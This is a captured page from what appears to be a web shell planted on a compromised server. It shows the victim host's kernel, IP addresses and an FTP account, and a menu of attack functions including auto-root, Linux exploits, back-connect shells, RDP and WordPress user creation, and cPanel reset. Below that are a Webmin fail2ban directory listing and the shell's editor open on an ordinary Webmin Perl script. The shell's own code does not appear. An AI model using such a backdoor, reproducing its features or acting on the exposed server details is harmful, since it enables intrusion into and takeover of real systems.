Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
fail2ban /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
110
B
-rw-r--r--
atboot.cgi
919
B
-rwxr-xr-x
backup_config.pl
771
B
-rwxr-xr-x
config
100
B
-rw-r--r--
config-debian-linux
118
B
-rw-r--r--
config-redhat-linux
118
B
-rw-r--r--
config-syno-linux
100
B
-rw-r--r--
config.info
196
B
-rw-r--r--
config.info.ca
249
B
-rw-r--r--
config.info.de
202
B
-rw-r--r--
config.info.fr
231
B
-rw-r--r--
config.info.ms
201
B
-rw-r--r--
config.info.no
203
B
-rw-r--r--
config.info.pl
232
B
-rw-r--r--
delete_actions.cgi
877
B
-rwxr-xr-x
delete_filters.cgi
877
B
-rwxr-xr-x
delete_jails.cgi
624
B
-rwxr-xr-x
edit_action.cgi
2.12
KB
-rwxr-xr-x
edit_config.cgi
1.67
KB
-rwxr-xr-x
edit_filter.cgi
1.67
KB
-rwxr-xr-x
edit_jail.cgi
3.91
KB
-rwxr-xr-x
edit_jaildef.cgi
2.57
KB
-rwxr-xr-x
edit_manual.cgi
1.05
KB
-rwxr-xr-x
fail2ban-lib.pl
13.86
KB
-rw-r--r--
index.cgi
2.15
KB
-rwxr-xr-x
install_check.pl
465
B
-rwxr-xr-x
list_actions.cgi
1.15
KB
-rwxr-xr-x
list_filters.cgi
1.2
KB
-rwxr-xr-x
list_jails.cgi
1.55
KB
-rwxr-xr-x
list_status.cgi
3.04
KB
-rwxr-xr-x
log_parser.pl
804
B
-rwxr-xr-x
module.info
201
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
150
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
233
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
225
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
239
B
-rw-r--r--
module.info.ca
149
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
161
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
157
B
-rw-r--r--
module.info.de
138
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
291
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
152
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
157
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
220
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
175
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
180
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
201
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
141
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
159
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
163
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
187
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
167
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
171
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
162
B
-rw-r--r--
module.info.ms
161
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
176
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
156
B
-rw-r--r--
module.info.no
36
B
-rw-r--r--
module.info.no.auto
114
B
-rw-r--r--
module.info.pl
158
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
161
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
167
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
186
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
249
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
174
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
147
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
164
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
326
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
173
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
236
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
272
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
203
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
118
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
124
B
-rw-r--r--
restart.cgi
334
B
-rwxr-xr-x
save_action.cgi
1.86
KB
-rwxr-xr-x
save_config.cgi
975
B
-rwxr-xr-x
save_filter.cgi
1.69
KB
-rwxr-xr-x
save_jail.cgi
3.71
KB
-rwxr-xr-x
save_jaildef.cgi
1.49
KB
-rwxr-xr-x
save_manual.cgi
620
B
-rwxr-xr-x
start.cgi
326
B
-rwxr-xr-x
stop.cgi
322
B
-rwxr-xr-x
syslog_logs.pl
599
B
-rwxr-xr-x
unblock_jail.cgi
708
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_jail.cgi
#!/usr/bin/perl # Create, update or delete a jail use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require './fail2ban-lib.pl'; our (%in, %text, %config); &ReadParse(); &error_setup($text{'jail_err'}); my $jail; my @jails = &list_jails(); if ($in{'new'}) { # Create new jail object my $jfile = "$config{'config_dir'}/jail.conf"; my $jlfile = "$config{'config_dir'}/jail.local"; $jail = { 'members' => [ ], 'file' => -r $jlfile ? $jlfile : $jfile }; } else { # Find existing jail ($jail) = grep { $_->{'name'} eq $in{'name'} } @jails; $jail || &error($text{'jail_egone'}); } if ($in{'delete'}) { # Just delete the jail &lock_all_config_files(); &delete_section($jail->{'file'}, $jail, $jail->{'file'} =~ /jail.local$/ ? 1 : 0); &unlock_all_config_files(); } else { # Validate inputs my $file; $in{'name'} =~ /^[a-z0-9\_\-]+$/i || &error($text{'jail_ename'}); $jail->{'name'} = $in{'name'}; if ($in{'new'} || $in{'name'} ne $in{'old'}) { # Check for clash my ($clash) = grep { $_->{'name'} eq $in{'name'} } @jails; $clash && &error($text{'jail_eclash'}); } # Parse and validate actions my @actions; for(my $i=0; defined($in{"action_$i"}); $i++) { next if (!$in{"action_$i"}); my @opts; if ($in{"name_$i"}) { $in{"name_$i"} =~ /^(%\(\S+\))?[A-Za-z0-9\.\_\-]+$/ || &error(&text('jail_eaname', $i+1)); push(@opts, "name=".$in{"name_$i"}); } if ($in{"port_$i"}) { my @p = split(/,/, $in{"port_$i"}); foreach my $p (split(/,/, $in{"port_$i"})) { $p =~ /^\d+$/ || $p =~ /^\d+:\d+$/ || getservbyname($p, $in{"protocol_$i"} || "tcp") || $p =~ /%\(\S+\)s/ || &error(&text('jail_eport', $i+1)); } if (@p > 1) { push(@opts, "port="."\"".$in{"port_$i"}."\""); } else { push(@opts, "port=".$in{"port_$i"}); } } if ($in{"protocol_$i"}) { push(@opts, "protocol=".$in{"protocol_$i"}); } push(@opts, split(/\s+/, $in{"others_$i"})); push(@actions, $in{"action_$i"}."[".join(", ", @opts)."]"); } # Split and validate log file paths my @logpaths = grep { /\S/ } split(/\r?\n/, $in{'logpath'}); @logpaths || &error($text{'jail_elogpaths'}); foreach my $l (@logpaths) { $l =~ s/^\s*//; $l =~ s/\s*$//; $l =~ /^\/\S+$/ || $l =~ /^\%\(/ || &error($text{'jail_elogpath'}); } # Validate various counters foreach my $f ("maxretry", "findtime", "bantime") { $in{$f.'_def'} || $in{$f} =~ /^\-?\d+(\.\d+)?[mhdwy]?$/ || &error($text{'jail_e'.$f}); } # Split and validate IPs to ignore my @ignoreips = $in{'ignoreip_def'} ? ( ) : split(/\s+/, $in{'ignoreip'}); foreach my $ip (@ignoreips) { &check_ipaddress($ip) || &check_ip6address($ip) || ($ip =~ /^([0-9\.]+)\/(\d+)/ && &check_ipaddress("$1")) || &to_ipaddress($ip) || &error($text{'jail_eignoreip'}); } # Create new section or rename existing if needed &lock_all_config_files(); if ($in{'new'}) { &create_section($jail->{'file'}, $jail); } elsif ($in{'name'} ne $in{'old'}) { &modify_section($jail->{'file'}, $jail); } # Save directives within the section &save_directive("enabled", $in{'enabled'} ? 'true' : 'false', $jail); &save_directive("filter", $in{'filter'} || undef, $jail); &save_directive("action", @actions ? join("\n", @actions) : undef, $jail); &save_directive("logpath", join("\n", @logpaths), $jail); foreach my $f ("maxretry", "findtime", "bantime") { &save_directive($f, $in{$f."_def"} ? undef : $in{$f}, $jail); } &save_directive("ignoreip", @ignoreips ? join(" ", @ignoreips) : undef, $jail); &unlock_all_config_files(); } # Log and redirect &webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'update', 'jail', $jail->{'name'}); &redirect("list_jails.cgi");
Close